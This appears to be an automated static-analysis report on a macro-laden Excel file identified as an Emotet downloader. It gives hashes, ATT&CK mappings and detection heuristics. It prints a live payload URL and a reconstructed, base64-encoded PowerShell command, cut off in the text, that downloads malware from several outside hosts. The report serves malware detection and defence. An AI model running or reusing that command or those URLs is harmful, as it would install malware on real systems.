Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 afb8ead98d032443…

MALICIOUS

Office (OLE) / .XLSX

150.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel
MD5: a4628aa1a1db9afcafaa109d4b39f4fb SHA-1: 508438652984f6cbebf825587ee4319032b83554 SHA-256: afb8ead98d032443663b27a7e6841403c3cf37e28c637569bef7c02f4bb0f2ef
280 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1059.001 PowerShell T1204.002 Malicious File

The sample contains a Workbook_Open VBA macro that utilizes Wscript.Shell and CreateObject to execute a batch file. The macro attempts to download and execute a payload from multiple URLs, including 'http://actividade.laforetlangauge.com/wp-admn/BlkdOKDXL/'. The presence of Emotet-related heuristics and the known behavior of Emotet droppers strongly indicate this is a downloader for that family. The reconstructed command line for the payload download is: 'powershell -enc JABnAGoAcwBlAGIAbgBnAHUAawBpAHcAdQBnADMAawB3AGoAZAA9ACIAaAB0AHQAcAA6AC8ALwBhAGMAdABpAHYAaQBkAGEAZABlAHMALgBsAGEAZgBvAHIAZQB0AGwAYQBuAGcAdQBhAGcAZQBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBCAGwAawBkAE8ASwBEAFgATAAvACwAaAB0AHQAcAA6AC8ALwBzAGIAYwBvAHAAeQBsAGkAdgBlAC4AYwBvAG0ALgBiAHIALwByAGoAdQB6AC8AdwAvACwAaAB0AHQAcABzADoALwAvAHQAcgBhAHMAaQB4AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB5ADUAQQBhADEAagB0ADAAUwBwADIAUQBrAC8ALABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBwAGEAcgBrAGkAbgBzAG8AbgBzAC4AYwBvAC4AaQBuAC8AYQBiAGMALwBZADYAWQAwAGYAVABiAFUARQBnADYALwAsAGgAdAB0AHAAcwA6AC8ALwBi'.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetExcel02226-9938630-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel02226-9938630-0
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
006c4f4d54d1c9bb906763adb0bd849cdbbe9d88f3fa78ad2d18ef6987f96c37		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 8906 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.

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